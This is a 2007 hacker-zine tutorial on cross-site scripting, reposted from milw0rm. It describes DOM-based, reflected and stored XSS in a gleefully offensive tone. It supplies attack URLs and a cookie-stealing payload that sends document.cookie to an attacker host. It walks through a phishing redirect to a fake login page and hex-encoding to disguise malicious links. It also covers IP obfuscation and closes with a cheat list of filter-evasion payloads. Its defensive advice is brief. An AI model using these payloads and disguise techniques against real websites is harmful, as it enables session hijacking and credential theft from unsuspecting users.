/================================================================================\
---------------------------------[ PLAYHACK.net ]---------------------------------
\================================================================================/
-[ INFOS ]-----------------------------------------------------------------------
Title: "Cross-Site Scripting for Fun and Profit"
Author: Nexus
Website: http://nexus.playhack.net
Date: 2007-04-08 (ISO 8601)
---------------------------------------------------------------------------------
-[ SUMMARY ]---------------------------------------------------------------------
0x01: Introduction
0x02: Origins
0x03: Types of XSS
\_ 0x03a: DOM-Based
\_ 0x03b: Non-Persistent
\_ 0x03c: Persistent
0x04: Appendix
---------------------------------------------------------------------------------
---[ 0x01: Introduction ]
Cross-site scripting (later commonly named XSS to make difference from Cascading
Style Sheet) is a type of security vulnerability that affects web applications
with not safely written code in not sanitized input variables .
This kind of vulnerability allows an "attacker" to inject some code into
the applications affected in order to bypass access to the website or to apply
"phishing" on falls users (which is not obviously our strict purpose :P)
As a matter of fact in vulnerables websites is possible to execute HTML and
JavaScript codes from a not sanitized form, which combined can be really
dangerous: it's possible to steal cookies or to redirect webpages to builded
fake login in order to steal login usernames and passwords.
This is commonly an underestimated problem from websites masters, because actually
XSS cannot compromise actively the website itself, but can only exploit ingenuous
users.
It will take time already to get webmasters look out to this kinds of
vulnerabilities: meanwhile we evenly disfrute them :)
-----------------------------------------------------------------------------[/]
---[ 0x02: Origins ]
The name "Cross-Site Scripting" was conied by Mark Slemko, the XSS pioneer,
and actually this name doesn't really reflect at all the issues of this class of
vulnerability, and due to that he explained the choice with the following answer:
"This issue isn't just about scripting, and there isn't necessarily anything
cross-site about it. So why the name? It was coined earlier on when the
problem was less understood, and it stuck. Believe me, we have
had more important things to do than think of a better name."
Touchè :D
By the way the name was early adopted, but in the years it came useful to abbreviate
it to XSS in order to not confuse with Cascading-Style Sheets and Content-Scrumble
Systems.
Starting from the Bugtraq community, the XSS abbreviation became more and more
common as actually it is the "official" reference to this vulnerability, and
obviously we will be conformed to this tradiction :)
-----------------------------------------------------------------------------[/]
---[ 0x03: Types of XSS ]
The term XSS is actually a bit elusive because it includes differents kinds of
attacks that stands eachother on different attacking mechanisms.
There are actually three types of Cross-Site Scripting, commonly named as:
- DOM-Based XSS
- Non-persistent XSS
- Persistent XSS
Let's analize them one by one.
-----------------------------------------------------------------------------[/]
------[ 0x03a: DOM-Based ]
The DOM-Based Cross-Site Scripting allow to an attacker to work not on a victim
website but on a victim local machine: the various operative system usually includes
"since born" some HTML pages created for differents aims, but as long as the humans
do mistakes this HTML pages often can be exploited due to code vulnerabilities.
The DOM-Based XSS exploits these problems on users local machines in this way:
- The attacker creates a well builded malicious website
- The ingenuous user opens that site
- The user has a vulnerable page on his machine
- The attacker's website sends commands to the vulnerable HTML page
- The vulnerable local page execute that commands with the user's privileges
on that machine.
- The attacker easily gain control on the victim computer.
As you can see it's quite simple practice, it's just stands on brand new vulnerabilities
that comes out in the time, and there's never lack ;)
This kind of attack is really dangerous because it operates on the victim system
strictly and as long as the user doesn't look after his security issues and doesn't
apply updates, the DOM-Based XSS will work fine.
Solution:
To prevent this kind of attacks there are only two things to take care of:
- Doesn't visit untrusted website
- Keep your system up to date
-----------------------------------------------------------------------------[/]
------[ 0x03b: Non-Persistent ]
The non-persistent XSS are actually the most commons vulnerabilities that can
be found on the Net.
It's commonly named as "non-persistent" because it works on an immediate HTTP
response from the victim website: it show up when the webpage get the data provided
by the attacker's client to automatically generate a result page for the attackers
himself.
Standing on this the attacker could provide some malicious code and try to make
the server execute it in order to obtain some result.
The most common applying of this kind of vulnerability is in Search engines in
website: the attacker writes some arbitrary HTML code in the search textbox and,
if the website is vulnerable, the result page will return the result of these
HTML entities.
If this happens at 99% the Search engine will execute also JavaScript arbitrary code.
For example assure that a website works like this:
http://www.example.com/search.php?text=TEXTTOSEARCH
Try to include some HTML tags in the "text" variable:
http://www.example.com/search.php?text=<img src="http://attacker.com/image.jpg">
If the website is vulnerable it will display the attacker's image into the result
webpage.
Try then to write some JavaScript code:
http:///www.example.com/search.php?text=<script>alert(document.cookie)</script>
Probably the website will return an alert popup with the current Cookie for the
site itself.
That's not good at all ;)
As you will see the vulnerable website will execute any JavaScript code you
want to be run: sometimes you can find that the website make some filters on " "
and ' ', but that's not really a big problem for us :D
This vulnerability can be used by the attacker to steal informations to users
of the victim website providing them for example an email with an URL like:
http://www.victim.com/search.php?text=MALICIOUSCODE
To make that url less suspicious it will be useful to encode the code in URL Hex value.
You can apply this tecnique using our Playhack - Encoder service reachable at
http://encoder.playhack.net
(Beware that it's created for informational purpose only :P).
For example the code:
<script>alert("XSS")</script>
Encoded will look like:
%3C%73%63%72%69%70%74%3E%61%6C%65%72%74%28%22%58%53%53%22%29%3B%3C
%2F%73%63%72%69%70%74%3E
And as comes the malicious url will turn from:
http://www.victim.com/search.php?text=<script>alert("XSS")</script>
Into:
http://www.victim.com/search.php?text=%3C%73%63%72%69%70%74%3E%61%6C%65%72%74%28%22
%58%53%53%22%29%3B%3C%2F%73%63%72%69%70%74%3E
Which, for a clueless user, it's lot less suspicious than the first one.
Let's analize an example attack.
- The attacker realizes that the victim website is vulnerable to XSS
- The attacker creates on his website an ad-hoc page which is studied to steal
sensible informations like cookies or to make a fake login of the victim website.
- The attacker provides to a user a crafted url which contains a malicious
code like:
http://www.victim.com/search.php?text=
<script>document.location("http://attackersite.com/fakelogin.php")</script>
Encoded in Hex.
- The user visits the webpage and is obscurely redirect the attacker's fakelogin
- The user is invited to log into the system and he does.
- The fakelogin steals the username and password of the victim.
Solution:
The solution to this issue is simply to make a check to the input code in the website
avoiding HTML tags or accepting alpha-numerical characters only, with for example
codes like:
- Python: cgi.escape($code)
- PHP: eregi("[^a-zA-Z0-9_]", $code)
$code = htmlentities($code)
And many others.
-----------------------------------------------------------------------------[/]
------[ 0x03c: Persistent ]
The persistent XSS vulnerabilities are similar to the second type (Non-persistent XSS),
because both works on a victim site and tries to hack users informations;
the difference is that in websites vulnerables to Persistent XSS the attacker
doesn't need to provide the crafted url to the users, because the website
itself permits to users to insert fixed data into the system: this is the case
for example of "guestbooks" (what an awful item !!)
Usually the users uses that kind of tool to leave messages to the owned of the
website and at a first look it doesn't seems something dangerous, but if an attacker
discover that the system is vulnerable can insert some malicious code in his message
and let ALL visitors to be victim of that.
This works when the tool provided (the guestbook in the example) doesn't do any check
on the content of the inserted message: it just inserts the data provided from the user
into the result page.
The attacker could easily insert as much code as he wants into the tool, for example:
<img src="javascript:document.location
('http://attacker.com/steal.php?cookie=' . encodeURI(document.cookie));">
Which allow the attacker to steal the cookie of the victim user.
This is just an example of lots of possible injection that can be done in the
vulnerable site.
The Persistent XSS due to is fixed feature is obviously more dangerous than
the others, because can easily affects lots of users with an unique attack.
Solution:
The solution is the same of the Non-persistent XSS.
-----------------------------------------------------------------------------[/]
---[ 0x04: Appendix ]
In order to make the attack less suspicious it's possible to "obfuscate" the IP
address of the attacker's website, encoding the IP address with three formats:
- Dword Address
- Hex Address
- Octal Address
For example the ip address 127.0.0.1 will look like:
- Dword: 2130706433
- Hex: 0x7f.0x00.0x00.0x01
- Octal: 0177.0000.0000.0001
Try for example:
http://0x7f.0x00.0x00.0x01/
And it will open your localhost webserver.
This tecnique is often used by XSS attacker and in order to avoid to get caught
in attacker's trap, don't visit website that doesn't contain a clear domain name
(and beware that is possible to fake that too :P).
Here's a list of possible XSS cheats
<IMG SRC="javascript:alert('XSS');">
<IMG SRC=javascript:alert('XSS')>
<IMG SRC="javascript
:alert('PLAYH
ACK.NET')">
<IMG SRC="javascript:alert(String.fromCharCode(88,83,83))">
<SCRIPT/XSS SRC="http://example.com/xss.js"></SCRIPT>
<<SCRIPT>alert("XSS");//<</SCRIPT>
<iframe src=http://example.com/scriptlet.html <
<INPUT TYPE="IMAGE" SRC="javascript:alert('XSS');">
<BODY BACKGROUND="javascript:alert('XSS')">
<BODY ONLOAD=alert(document.cookie)>
<IMG DYNSRC="javascript:alert('XSS')">
<IMG DYNSRC="javascript:alert('XSS')">
<BR SIZE="&{alert('XSS')}">
<IMG SRC='vbscript:msgbox("XSS")'>
<TABLE BACKGROUND="javascript:alert('XSS')">
<DIV STYLE="width: expression(alert('XSS'));">
<DIV STYLE="background-image: url(javascript:alert('XSS'))">
<STYLE TYPE="text/javascript">alert('XSS');</STYLE>
<STYLE type="text/css">BODY{background:url("javascript:alert('XSS')")}</STYLE>
<?='<SCRIPT>alert("XSS")</SCRIPT>'?>
<A HREF="javascript:document.location='http://www.example.com/'">XSS</A>
-----------------------------------------------------------------------------[/]
\======================================[EOF]=====================================/
# milw0rm.com [2007-04-11]
